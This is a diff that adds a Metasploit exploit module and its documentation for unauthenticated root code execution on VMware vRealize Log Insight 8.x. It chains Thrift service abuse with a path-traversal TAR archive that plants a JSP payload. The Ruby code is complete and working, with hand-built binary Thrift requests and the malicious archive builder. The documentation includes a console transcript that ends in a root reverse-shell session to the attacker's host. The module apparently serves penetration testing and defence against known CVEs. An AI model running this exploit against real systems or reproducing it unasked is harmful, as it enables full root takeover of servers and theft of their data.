diff --git a/documentation/modules/exploit/linux/http/vmware_vrli_rce.md b/documentation/modules/exploit/linux/http/vmware_vrli_rce.md new file mode 100644 index 000000000000..09320c9e9935 --- /dev/null +++ b/documentation/modules/exploit/linux/http/vmware_vrli_rce.md @@ -0,0 +1,100 @@ +## Vulnerable Application + +vRealize Log Insight provides intelligent log management for infrastructure and applications +in any environment. This highly scalable log management solution delivers intuitive, actionable +dashboards, sophisticated analytics, and broad third-party extensibility across physical, virtual, +and cloud environments. + +VMware vRealize Log Insights versions v8.x contain multiple vulnerabilities, such as +directory traversal, broken access control, deserialization, and information disclosure. +When chained together, these vulnerabilities allow a remote, unauthenticated attacker to +execute arbitrary commands on the underlying operating system as the root user. + +This module exploits multiple vulnerabilities for achieving unauthenticated remote code execution +on the VMware vRealize Log Insight version `v8.x`. Module achieves code execution via triggering a +`RemotePakDownloadCommand` command via the exposed thrift service after obtaining the node token by +calling a `GetConfigRequest` thrift command. After the download, it will trigger a `PakUpgradeCommand` for +processing the specially crafted PAK archive, which then will place the JSP payload under a +certain API endpoint (pre-authenticated) location upon extraction for gaining remote code execution. + +The original analysis and POC is done by the Horizon3.ai Team. +Check [here](https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive/) for full disclosure writeup. + +## Testing +For installing the vulnerable version follow the steps below, +1. To obtain the vulnerable OVA image, first create a customer account at +[VMware](https://customerconnect.vmware.com/account-registration) (trial license is sufficient) +2. Navigate [here](https://customerconnect.vmware.com/downloads/details?downloadGroup=VRLI-8102&productId=1351) and download `Virtual Appliance` +3. Import the OVA image into a virtualization software (VirtualBox is used for this case). +4. Start the `VMware_vCenter_Log_Insight` image and proceed with the initial installation steps through the web interface of the product. + +After these steps, the web portal (port 80/443) and Apache thrift service (port 16520) should be accessible. + +## Verification Steps + +1. msfconsole +2. Do: `use exploit/linux/http/vmware_vrli_rce` +3. Do: `set RHOST [IP]` +4. Do: `check` + +## Options + +### THRIFT_PORT +This is the Thrift service port for VMware xRealize Log Insight. + +### THRIFT_TIMEOUT +This value represents the timeout duration for thrift service responses. + +## WaitForResponseTimeout +This value represents timeout duration in seconds for RemotePakDownload command response. + +## WaitForUpgradeDuration +This value represents the duration of wait after issuing a PakUpgrade command. + +## Scenarios + +``` +msf6 > use exploit/linux/http/vmware_vrli_rce +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/vmware_vrli_rce) > set rhosts 192.168.56.107 +rhosts => 192.168.56.107 +msf6 exploit(linux/http/vmware_vrli_rce) > set lhost 192.168.56.1 +lhost => 192.168.56.1 +msf6 exploit(linux/http/vmware_vrli_rce) > set srvhost 192.168.56.1 +srvhost => 192.168.56.1 +msf6 exploit(linux/http/vmware_vrli_rce) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] 192.168.56.107:443 - Running automatic check ("set AutoCheck false" to disable) +[*] 192.168.56.107:443 - Checking if 192.168.56.107:443 can be exploited. +[+] 192.168.56.107:443 - The target appears to be vulnerable. VMware XRLI Version: 8.10 +[*] 192.168.56.107:443 - Starting Payload Server +[*] 192.168.56.107:443 - Using URL: http://192.168.56.1:8080/IssIrRP.tar +[*] 192.168.56.107:443 - Fetching thrift config... +[+] 192.168.56.107:443 - Obtained node token: 015dd665-9f84-4efc-9fd2-1ea2e467dbf8 +[*] 192.168.56.107:443 - Sending getNodeType... +[*] 192.168.56.107:443 - Sending RemotePakDownloadCommand... +[*] 192.168.56.107:443 - Sending PakUpgradeCommand... +[*] 192.168.56.107:443 - Encoding the payload as JSP +[*] 192.168.56.107:443 - Malicious TAR payload created (117760 bytes) +[+] 192.168.56.107:443 - Payload requested by 192.168.56.107:443, sending... +[+] 192.168.56.107:443 - PakUpgrade request is successful +[*] 192.168.56.107:443 - Waiting 2 second for PakUpgrade... +[*] 192.168.56.107:443 - 192.168.56.107:443 - Triggering JSP payload... +[*] Sending stage (3045380 bytes) to 192.168.56.107 +[+] 192.168.56.107:443 - Deleted /tmp/IssIrRP.pak +[+] 192.168.56.107:443 - Deleted /usr/lib/loginsight/application/3rd_party/apache-tomcat-8.5.82/webapps/ROOT/loginsight/api/api-v5-documentation.jsp +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.107:57010) at 2023-09-07 19:48:14 +0200 +[*] 192.168.56.107:443 - Server stopped. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.56.107 +OS : VMware Photon OS 3.0 (Linux 4.19.256-1.ph3) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > + +``` diff --git a/modules/exploits/linux/http/vmware_vrli_rce.rb b/modules/exploits/linux/http/vmware_vrli_rce.rb new file mode 100644 index 000000000000..5b8ce39b3594 --- /dev/null +++ b/modules/exploits/linux/http/vmware_vrli_rce.rb @@ -0,0 +1,362 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +require 'rex/proto/thrift' +require 'rex/stopwatch' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::CmdStager::HTTP + include Msf::Exploit::Retry + include Msf::Exploit::FileDropper # includes register_files_for_cleanup + prepend Msf::Exploit::Remote::AutoCheck + + Thrift = Rex::Proto::Thrift + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'VMware vRealize Log Insight Unauthenticated RCE', + 'Description' => %q{ + VMware vRealize Log Insights versions v8.x contains multiple vulnerabilities, such as + directory traversal, broken access control, deserialization, and information disclosure. + When chained together, these vulnerabilities allow a remote, unauthenticated attacker to + execute arbitrary commands on the underlying operating system as the root user. + + This module achieves code execution via triggering a `RemotePakDownloadCommand` command + via the exposed thrift service after obtaining the node token by calling a `GetConfigRequest` + thrift command. After the download, it will trigger a `PakUpgradeCommand` for processing the + specially crafted PAK archive, which then will place the JSP payload under a certain API + endpoint (pre-authenticated) location upon extraction for gaining remote code execution. + + Successfully tested against version 8.0.2. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Horizon3.ai Attack Team', # Original POC & analysis + 'Ege BALCI ', # Metasploit Module + ], + 'References' => [ + ['ZDI', '23-116'], + ['ZDI', '23-115'], + ['CVE', '2022-31706'], + ['CVE', '2022-31704'], + ['CVE', '2022-31711'], + ['URL', 'https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive'], + ['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0001.html'], + ], + 'DisclosureDate' => '2023-01-24', + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Privileged' => true, + 'Targets' => [ + [ + 'VMware vRealize Log Insight < v8.10.2', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X64], + 'Type' => :linux_dropper, + 'DefaultOptions' => { + 'SSL' => true, + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + 'PrependFork' => true + } + } + ] + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + 'WfsDelay' => 15 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options( + [ + Opt::RPORT(443), + OptPort.new('THRIFT_PORT', [true, 'Thrift service port', 16520]), + OptInt.new('THRIFT_TIMEOUT', [true, 'Timeout duration for thrift service', 10]), + OptString.new('TARGETURI', [true, 'The URI of the VRLI web service', '/']) + ] + ) + + register_advanced_options( + [ + OptInt.new('WaitForResponseTimeout', [ true, 'The timeout in seconds for RemotePakDownload response', 10 ]), + OptInt.new('WaitForUpgradeDuration', [ true, 'The sleep duration in seconds for PakUpgrade process', 2 ]) + ] + ) + end + + def check + print_status "Checking if #{peer} can be exploited." + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'i18n', 'component'), + 'method' => 'GET' + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200 + translation = JSON.parse(res.body.gsub(/^.+= /, '').gsub(/;/, '')) + return Exploit::CheckCode::Unknown if translation.nil? || !translation.key?('version') + + version = Rex::Version.new(translation['version']) + if version <= Rex::Version.new('8.10') && version >= Rex::Version.new('8.0') # This is not exactly the product version but we can use it + return Exploit::CheckCode::Appears("VMware XRLI Version: #{translation['version']}") + end + + Exploit::CheckCode::Safe + end + + def generate_malicious_tar + mf_file = <<~EOF.strip + { + "CHECKSUMS": [ + { + "CHECKSUM": "407791f5831c4f5321cda36ff2e3b63da2819354",#{' '} + "FILE_NAME": "eula.txt" + },#{' '} + { + "CHECKSUM": "8ab2c0a6d01a36d0daad230dbcb229f1b87154e6",#{' '} + "FILE_NAME": "cn_eula.txt" + },#{' '} + { + "CHECKSUM": "8ca69bdc2ddda5228e893c4843d9f4afc0790247",#{' '} + "FILE_NAME": "de_eula.txt" + },#{' '} + { + "CHECKSUM": "4278004a1f2a7a3f2d9310983679868ebe19e088",#{' '} + "FILE_NAME": "es_eula.txt" + },#{' '} + { + "CHECKSUM": "95280fd7033b59094703a29cc5d6ff803c5725af",#{' '} + "FILE_NAME": "fr_eula.txt" + },#{' '} + { + "CHECKSUM": "f8ee67f279b7f56c953daa737bbbaad3f0cb719d",#{' '} + "FILE_NAME": "ja_eula.txt" + },#{' '} + { + "CHECKSUM": "aaa14f774fc9fe487ae8fea59adfca532928f4a2",#{' '} + "FILE_NAME": "ko_eula.txt" + },#{' '} + { + "CHECKSUM": "d7003b652dd28d28af310c652e2a164acaf17580",#{' '} + "FILE_NAME": "tw_eula.txt" + },#{' '} + { + "CHECKSUM": "b0034c7f14876be3b6a85bde0322c83b78027d70",#{' '} + "FILE_NAME": "upgrade-driver" + },#{' '} + { + "CHECKSUM": "b906d570101d29646966435d2bed8479f4437216",#{' '} + "FILE_NAME": "upgrade-image-8.10.2-21145187.rpm" + } + ],#{' '} + "FROM_VERSION": "8.8.0-0",#{' '} + "REQUIRED_SPACE": "1073741824",#{' '} + "RPM_INFO": { + "KEY_LIST": [],#{' '} + "REBOOT": "False",#{' '} + "RPM_LIST": [ + { + "ARGUMENTS": [ + "--nodeps" + ],#{' '} + "FILE_NAME": "upgrade-image-8.10.2-21145187.rpm",#{' '} + "OPTION": "INSTALL_OR_UPGRADE" + } + ] + },#{' '} + "TO_VERSION": "8.10.2-21145187" + } + EOF + + cert_file = <<~CERT + SHA1(VMware-vRealize-Log-Insight.mf)= 9869831f4522f9aaaf2f71b54267c487a20c0d46f4dc884b56a2c77ea971aabd2839a39b22b0a864fa1825c7a637f25c85b99cfb9bf528990b7692cc5d526398fa6000809a94baaf9edcf20fab919f866014745bbf0a2cabadd76b8b6ec0ef862b803039021a4ebed2632bdecf2b77c60389e31f093ad010abeb33de1e95e59cb66a15c019b35453d71484e13f728fa74736bbe4cde37feddacef021feb0023b052ca00dd4563f4424e6387c33ffa166fb0331581a3889be4f2515512f1f15ea5d56aa43fe6a8d9b347b242edf2276eba7b055b8463f1151eab84d97d4d58bef4708080dbf0b96d4783ca8b596467a8965b91c2fddf1da549c0df34aa457f776 + -----BEGIN CERTIFICATE----- + MIIDyzCCArOgAwIBAgIJAKH7xLtwMqSZMA0GCSqGSIb3DQEBBQUAME0xCzAJBgNV + BAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlQYWxvIEFsdG8x + FTATBgNVBAoTDFZNd2FyZSwgSW5jLjAeFw0xMDAyMjYyMjE3NDFaFw0yNjAxMDMy + MjE3NDFaME0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYD + VQQHEwlQYWxvIEFsdG8xFTATBgNVBAoTDFZNd2FyZSwgSW5jLjCCASAwDQYJKoZI + hvcNAQEBBQADggENADCCAQgCggEBALU9NUtC39fqG7yo2XAswUmtli9uA+31uAMw + 9FFHAEv/it8pzBQZ/4r+2bN+GnXOWhuDd1K4ApKMRvoO4LwQfZxrkx4pXrsu0gdb + 4OunHw0D8MrdzSoob8Js/uq+IJ+8Bhsc6b7RzTUt9HeDWzHasAJVgMsjehGt23ay + 9FKOT6dVD6D/Xi3qJnB/4t/XNS6L63dC3ea4guzKDyLaXIP5bf/m56jvVImFjhhT + W2ASbnEUlZIVrEuyVcdG7e3FvZufE553JmHL0YG/0m5bIHXKRzBRx0D3HHOAzOKw + kkOnxJHSTN4Hz8hSYCWvzUAjSYL3Q8qiTd7GHJ2ynsRnu3KlzKUCAQOjga8wgaww + HQYDVR0OBBYEFHg8KQJdm8NPQDmYP41uEgKG+VNwMH0GA1UdIwR2MHSAFHg8KQJd + m8NPQDmYP41uEgKG+VNwoVGkTzBNMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2Fs + aWZvcm5pYTESMBAGA1UEBxMJUGFsbyBBbHRvMRUwEwYDVQQKEwxWTXdhcmUsIElu + Yy6CCQCh+8S7cDKkmTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQCP + nVEBVF2jYEsgaTJ1v17HNTVTD5pBPfbQk/2vYVZEWL20PtJuLeSWwoo5+TnCSp69 + i9n1Hpm9JWHjyb1Lba8Xx7VC4FferIyxt0ivRm9l9ouo/pQAR8xyqjTg1qfr5V8S + fZElKbjpzSMPrxLwF77h+YB+YjqWAJpVV+fAkAvK7K9vMiFgW60teZBxVW/XlmG0 + IJaSUWSI3/A+bA6fuIy8PMmpQMtm0droHrCnViAVRhMMgEC/doMH1GqUSmoiyQ1G + PifLAp5wV5/HV+S9AGrb8HGdWIvW+kBgmCl0wSf2JFYm1bpq30CVE4EC0MAY1mJG + vSqQGIbCybw5KTCXRQ8d + -----END CERTIFICATE----- + CERT + + # Generate a TAR archive with dir traversal... + print_status 'Encoding the payload as JSP' + payload_jsp = Msf::Util::EXE.to_jsp(generate_payload_exe) + jsp_name = 'api-v5-documentation.jsp' # version number can be randomized + slip_name = "../../usr/lib/loginsight/application/3rd_party/apache-tomcat-8.5.82/webapps/ROOT/loginsight/api/#{jsp_name}" + register_files_for_cleanup(slip_name.gsub('../..', '')) + rand_data = Rex::Text.rand_text_alpha(35000..36000) # For realistic packet size + dummy_files = ['upgrade-image-8.10.2-21145187.rpm', 'upgrade-driver', 'eula.txt'] # Dummy but also necessary + + tar = StringIO.new + Rex::Tar::Writer.new(tar) do |t| + dummy_files.each do |dum| + t.add_file(dum, 0o644) do |f| + f.write(rand_data) + end + end + t.add_file('VMware-vRealize-Log-Insight.cert', 0o644) do |crt| # We actually need the content of these files + crt.write(cert_file) + end + t.add_file('VMware-vRealize-Log-Insight.mf', 0o644) do |mf| + mf.write(mf_file) + end + t.add_file(slip_name, 0o644) do |f| + f.write(payload_jsp) + end + end + tar.seek(0) + data = tar.read + tar.close + data + end + + def on_request_uri(cli, _request) + payload_tar = generate_malicious_tar + print_status "Malicious TAR payload created (#{payload_tar.length} bytes)" + print_good("Payload requested by #{peer}, sending...") + @got_request = true + send_response(cli, payload_tar) + end + + def exploit + # This is important check... + fail_with(Failure::BadConfig, 'SRVHOST can\'t be localhost') if datastore['SRVHOST'] =~ /(127|0)\.0\.0\.(0|1)|localhost/ + + # Step 1 generate malicious TAR archive + file_name = Rex::Text.rand_text_alpha(7) + pak_name = "#{file_name}.pak" + output_file = '/dev/null' + register_files_for_cleanup("/tmp/#{pak_name}") + print_status('Starting Payload Server') + start_service('Path' => "/#{file_name}.tar") + + # Connect to the Apache Thrift service + @tsock = Rex::Socket.create_tcp('PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['THRIFT_PORT']) + fail_with(Failure::Unreachable, "#{peer}:#{datastore['THRIFT_PORT']} - Could not connect to the thrift service") if @tsock.nil? + + # Step 2 obtain node token + print_status 'Fetching thrift config...' + send_request([ + Thrift::ThriftHeader.new(method_name: 'getConfig', message_type: Thrift::ThriftMessageType::CALL) + ].map(&:to_binary_s).join + "\x0c\x00\x01\x00\x00") + + config = recv_response(datastore['THRIFT_TIMEOUT']) + fail_with(Failure::UnexpectedReply, 'getConfig thrift call failed') if config.nil? + token = config.match(/[0-9a-z]{8}-([0-9a-z]{4}-){3}[0-9a-z]{12}/).to_s + fail_with(Failure::UnexpectedReply, 'Could not obtain node token') if token.nil? || token.empty? + print_good "Obtained node token: #{token}" + + print_status 'Sending getNodeType...' + send_request([ + Thrift::ThriftHeader.new(method_name: 'getNodeType', message_type: Thrift::ThriftMessageType::CALL) + ].map(&:to_binary_s).join + "\x00") + + # Step 3 download the malicious pak + serve_address = "http://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{file_name}.tar" + print_status 'Sending RemotePakDownloadCommand...' + download_pak_req = "\x80\x01\x00\x01" + download_pak_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43" + download_pak_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00" + download_pak_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01" + download_pak_req += "\x08\x00\x01\x00\x00\x00\x09\x0c" + download_pak_req += "\x00\x0a\x0b\x00\x01" + download_pak_req += [token.length].pack('N') + token + "\x0b\x00\x02" + download_pak_req += [serve_address.length].pack('N') + serve_address # "\x00\x00\x00\x24" + serve_address + download_pak_req += "\x0b\x00\x03" + [file_name.length].pack('N') + file_name + download_pak_req += "\x00\x00\x0a\x00\x02\x00\x00" + download_pak_req += "\x00\x00\x00\x00\x07\xd0\x00\x00" + send_request(download_pak_req) + download_resp = recv_response(datastore['THRIFT_TIMEOUT']) + fail_with(Failure::UnexpectedReply, 'RemotePakDownloadCommand thrift call failed') if download_resp.nil? + retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do + @got_request + end + + # Step 4 trigger pak upgrade + print_status 'Sending PakUpgradeCommand...' + pak_upgrade_req = "\x80\x01\x00\x01" + pak_upgrade_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43" + pak_upgrade_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00" + pak_upgrade_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01" + pak_upgrade_req += "\x08\x00\x01\x00\x00\x00\x08\x0c" + pak_upgrade_req += "\x00\x09\x0b\x00\x01" + [pak_name.length].pack('N') + pak_upgrade_req += pak_name + "\x02\x00\x02\x00" + pak_upgrade_req += "\x0b\x00\x03" + [output_file.length].pack('N') + + output_file + pak_upgrade_req += "\x02\x00\x04\x00" + pak_upgrade_req += "\x0b\x00\x05\x00\x00\x00\x03\x65" + pak_upgrade_req += "\x6e\x67\x02\x00\x06\x00\x00\x00" + pak_upgrade_req += "\x0a\x00\x02\x00\x00\x00\x00\x00" + pak_upgrade_req += "\x00\x07\xd0\x00\x00" + send_request(pak_upgrade_req) + upgrade_resp = recv_response(datastore['THRIFT_TIMEOUT']) + fail_with(Failure::UnexpectedReply, 'PakUpgradeCommand thrift call failed') if upgrade_resp.nil? || !upgrade_resp.to_s =~ 'The PAK file is corrupted' + print_good 'PakUpgrade request is successful' + print_status "Waiting #{datastore['WaitForUpgradeDuration']} second for PakUpgrade..." + sleep(datastore['WaitForUpgradeDuration']) + + # Step 5 trigger the JSP payload. + print_status "#{peer} - Triggering JSP payload..." + disconnect + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'rest-api', 'v5'), + 'method' => 'GET' + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200 + end + + def send_request(request) + @tsock.put([request.length].pack('N') + request) + end + + def recv_response(timeout) + remaining = timeout + res_size, elapsed = Rex::Stopwatch.elapsed_time do + @tsock.timed_read(4, remaining) + end + + remaining -= elapsed + return nil if res_size.nil? || res_size.length != 4 || remaining <= 0 + + res = @tsock.timed_read(res_size.unpack1('N'), remaining) + + return nil if res.nil? || res.length != res_size.unpack1('N') + + return res_size + res + rescue Timeout::Error + return nil + end +end